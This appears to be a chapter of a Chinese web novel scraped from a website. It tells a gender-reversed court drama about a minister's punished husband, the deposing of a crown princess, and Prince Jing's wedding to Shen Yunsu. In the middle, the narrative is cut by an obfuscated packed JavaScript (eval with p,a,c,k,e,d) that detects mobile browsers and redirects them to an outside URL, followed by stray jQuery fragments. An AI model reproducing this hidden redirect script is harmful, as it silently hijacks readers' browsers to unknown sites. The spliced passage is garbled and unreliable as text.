沈府书房内。
沈巍然脸色铁青,看着被五花大绑、狼狈不堪地扔在地上的姜氏,额角青筋突突直跳。
青梧带来的靖王口谕,传达着靖王的滔天怒火与不容置疑的杀机,如果处理不好,靖王殿下绝对会说到做到。
然而还不等沈巍然做出反应,姜氏已经习以为常的叫嚣道:“好你个沈巍然!你个没良心的!要不是侯府背后扶持,这些年你能顺利地升到尚书的位置!你不能过河拆桥!忘恩负义!你敢动我一根手指头试试!我是侯府嫡出的公子!我母亲和姐姐不会放过你的!”姜氏在地上翻滚挣扎着,以为像以往一般搬出母家威势,沈巍然就会退让,睁一只眼闭一只眼。
“闭嘴!”沈巍然猛地一拍桌案,震得姜氏心头一惊。
他指着姜氏的鼻子,气得浑身发抖,“愚不可及!蠢钝如猪!看看你做的好事!靖王殿下的人你也敢动?!还使出如此肮脏下作的手段!你是嫌我沈家死的不够快吗?!”
她心中忐忑。太女一党因她与靖王结亲之事本就多有猜忌疏远,如今这蠢夫又惹怒了靖王殿下!靖王殿下,那是连在朝中经营多年的太女殿下都要忌惮无比,手段深不可测的煞星!从前不显,但这次大胜归来,短短两个月已站稳朝堂。她沈巍然在朝堂沉浮多年,至今都没能摸清这位靖王殿下真正的底牌和路数。
她夹在太女势力与如日中天的靖王之间,本就步履维艰,现在还被这个蠢货所连累!
想到姜氏这些年仗着侯府势大,在后宅兴风作浪,害得她子嗣零落,沈巍然眼中更是怒火中烧。过去她念及侯府姻亲,睁一只眼闭一只眼。如今,这蠢货竟蠢到驱动靖王心尖上的人!
靖王的警告言犹在耳,那绝不仅仅是威胁!若她在优柔寡断,不能给靖王一个满意的交代,沈家必受其累,她沈巍然苦心经营的一切,都将化为泡影!
她深吸一口气,声音冰冷:“来人!将这贱夫拖下去,关进祠堂!没有我的命令,任何人不得探视!待溯儿婚后......”她眼中闪过一丝残酷,“本官自有处置!”
当晚,得知父亲被关进祠堂,云溯立即准备一些御寒衣物和吃食偷偷送去。
收到下人来报云溯要去看姜氏时,沈巍然挥挥手,当作不知,云溯是个心软的则更好拿捏。
云溯过来时,姜氏正在里面破口大骂。见到云溯,他立刻扑过来拥着他,声泪俱下地哀求道:“溯儿!你快去求求你母亲!或者、或者求求靖王殿下!放爹爹出来好不好!爹爹都是为了你啊!”
云溯麻木地被姜氏拽着,他心中的道义让他无法为父亲辩解一个字;但作为他的生父,他确实承受着他的好与疼爱,这世界,谁都能责怪、指责他,就他不能。
看望姜氏回去后,云溯当晚就高烧了。
白天四处奔走,一冷一热最易风寒,精神上又受到了极大的刺激,心绪起伏太大,到了晚上,人一下子就病倒了。
羲月在府中处理公务时,接到暗卫的通报云溯高烧不退,眉头紧皱,让青梧送个大夫去沈府。
待人要离开时,羲月又道:“等会,你去忙别的。”话毕,起身离开。
夜半时分,听雨轩内只有一个小侍从一边打瞌睡一边守在云溯房里。
羲月点了人的睡穴,来到云溯床前,她伸手轻触他的额头,滚烫,人烧得迷迷糊糊的,口中呓语不断。
“对不起......”他不停地呢喃着,眼角无意识地淌出泪水。
羲月皱眉,上前将人扶起,从背后以双掌抵住少年背心,运功驱散他体内的湿寒风邪。大概一刻钟后,羲月收势,再次碰了碰他的额头,高热已退。
她将人放下,又掖好被子,再次悄声无息地离开。
整个正月云溯一直病恹恹的,无精打采。君后派来教导他规矩礼仪的嬷嬷一直留在府里,并且宫中林贵君派了教养嬷嬷过来教导云溯成亲诸事。
云溯每天拖着病体学习宫规礼仪,苦不堪言,又加上心情郁结,再次发烧。沈府大半夜大张旗鼓地请大夫,惊动了靖王府,第二天嬷嬷们都被撤走了。
云溯心中暗暗松了口气。
同时,朝中发生了一件大事。
沈尚书上朝时,有御史上书,直指江南官场贪污腐败、卖官售爵、科举舞弊,桩桩件件证据确凿,如同滚雪球般越滚越大,最后竟牵扯出太女结党营私、中饱私囊的惊天大案!整个案件占据了正月所有人的视线与精力,调查过程异常顺利,不得不让人怀疑,这是有人早有准备,势必要将太女拖下台。最后案情查清,皇帝震怒,当朝废黜太女,幽禁东宫,终身不得出。顷刻间,朝堂格局剧变,太女势力衰落,大臣们震惊地发现,除了一个根基尚浅的六皇女,无人能与靖王抗衡。
沈尚书惊出一身冷汗。
江南案发,时机如此之巧,手段如此之凌厉,背后是谁在操纵,不言而喻。靖王的手段,远比她想象中的更加可怕,更加深不可测!
幸好她还未彻底得罪靖王殿下,想到姜氏,她狠下心来,心中只剩下破釜沉舟的狠厉!
不能再等了!必须马上向靖王表明立场!
于是很快,沈府就传出当家主君急病修养,闭门谢客的消息,沈府一应后宅事务都交由嫡子沈云溯处理。
接到母亲的命令后,云溯皱眉,他祠堂找人,发现早已空无一人,又去问沈尚书,只得到让他安心备嫁的回复。
沈云溯心中十分烦躁窒息,他觉得沈府像一口泥潭,快要将他淹没了。
太女之案之后,京城风向彻底倒向靖王,所有人都盯上了靖王。
她的后院,除了一个正君,空无一人。很多人明里暗里期待搭上靖王的线,盯着靖王的后宅蠢蠢欲动。更有人暗里打听到沈府年初的后宅丑事,意图撬她墙角。
沈巍然气的七窍生烟,但靖王一直没有动静。直到一直并未接到靖王悔婚的旨意,她才稍稍放下心来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269307|182232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
二月十五,大吉,靖王府的大婚之日。
沈云溯身着繁复华丽的大红喜服,头上戴着沉重的凤冠,安静地坐在新房内。
外面一片喜庆喧闹,丝竹盈耳,落在他耳中却如同来自另一个世界的声音,遥远而含糊。红盖头遮蔽了他的视线,也遮蔽了他眼中的茫然与忐忑。
他的指甲掐进掌心,对云意的愧疚与悔恨,丝丝缕缕缠绕着他的心脏。对靖王殿下,他更是羞愧地无地自容,连呼吸都觉得是种亵渎。他不敢想象,当盖头揭开时,他该如何面对那个抱着云意离开的身影和满含恨意与冷漠的眼睛。
他以为,经历了农舍那血淋淋的一幕后,靖王殿下无论如何不会再要他这个杀人凶手之子了。
他甚至无数次幻想过,花轿临门时,会等来一纸退婚书。他做好了承受一切唾骂和惩罚的准备,这是他父亲造的孽,也是他间接欠下的血债,他该还。
为什么会这样?
靖王殿下......她为何还要娶他?
是为了报复?为了将他这个“罪魁祸首”的儿子放在眼皮子底下,日日折磨吗?
云溯脑中一片混乱,脸上不仅没有新嫁夫郎的欢喜,反而一脸苍白与沉郁。
新房内,喜烛静静燃烧,窗外的日光一点点暗下去,外面的喧嚣声似乎也渐渐沉寂下去。
终于,沉重的脚步声由远及近,停在门前。
云溯心跳越来越快。
门被推开,一股清冽的、带着淡淡松雪气息的冷风灌入,驱散了满室的暖香。
云溯的心脏几乎停止了跳动。
“退下。”清冷的女声突然响起,原本等候在室内的喜公和侍从刷刷跪倒,片刻便安静有序地退出房间。
云溯的呼吸瞬间凝滞,下意识抓皱了手中的衣袖。
他感觉到那无形的、迫人的威压渐渐靠近,停在了他面前,盖头下的视线里出现了一双玄色云纹靴尖。
云溯的指尖微微发抖,盖头被挑起的刹那,满室烛火都晃了晃。
少年被迫抬起头,撞进了一双深不见底的凤眸之中。
那眸子里,没有了当日在农舍时的狂暴杀意,也没有想象中的憎恨与嘲弄。只有一片沉寂的、寒冰般的幽深,以及一丝难以言喻的复杂审视。
羲月忽然伸出手,拇指擦过他眼下,“哭什么?”
云溯这才惊觉自己竟落了泪,将羲月的指尖染的一片濡湿。
“殿...下...”云溯的喉咙干涩得发疼。
羲月看到少年脸色微白,涂着口脂的唇瓣正在细微的颤抖。
“害怕?”羲月问道,“再哭,妆要花了。”
云溯慌忙低头,抬起袖子试图擦拭脸上的泪痕,却被羲月阻止,“别动。”
这么胆小怎么好?
她皱眉,拿帕子擦去少年满脸的湿痕。
云溯仰着头,红唇紧咬,不敢乱动,任由羲月动作。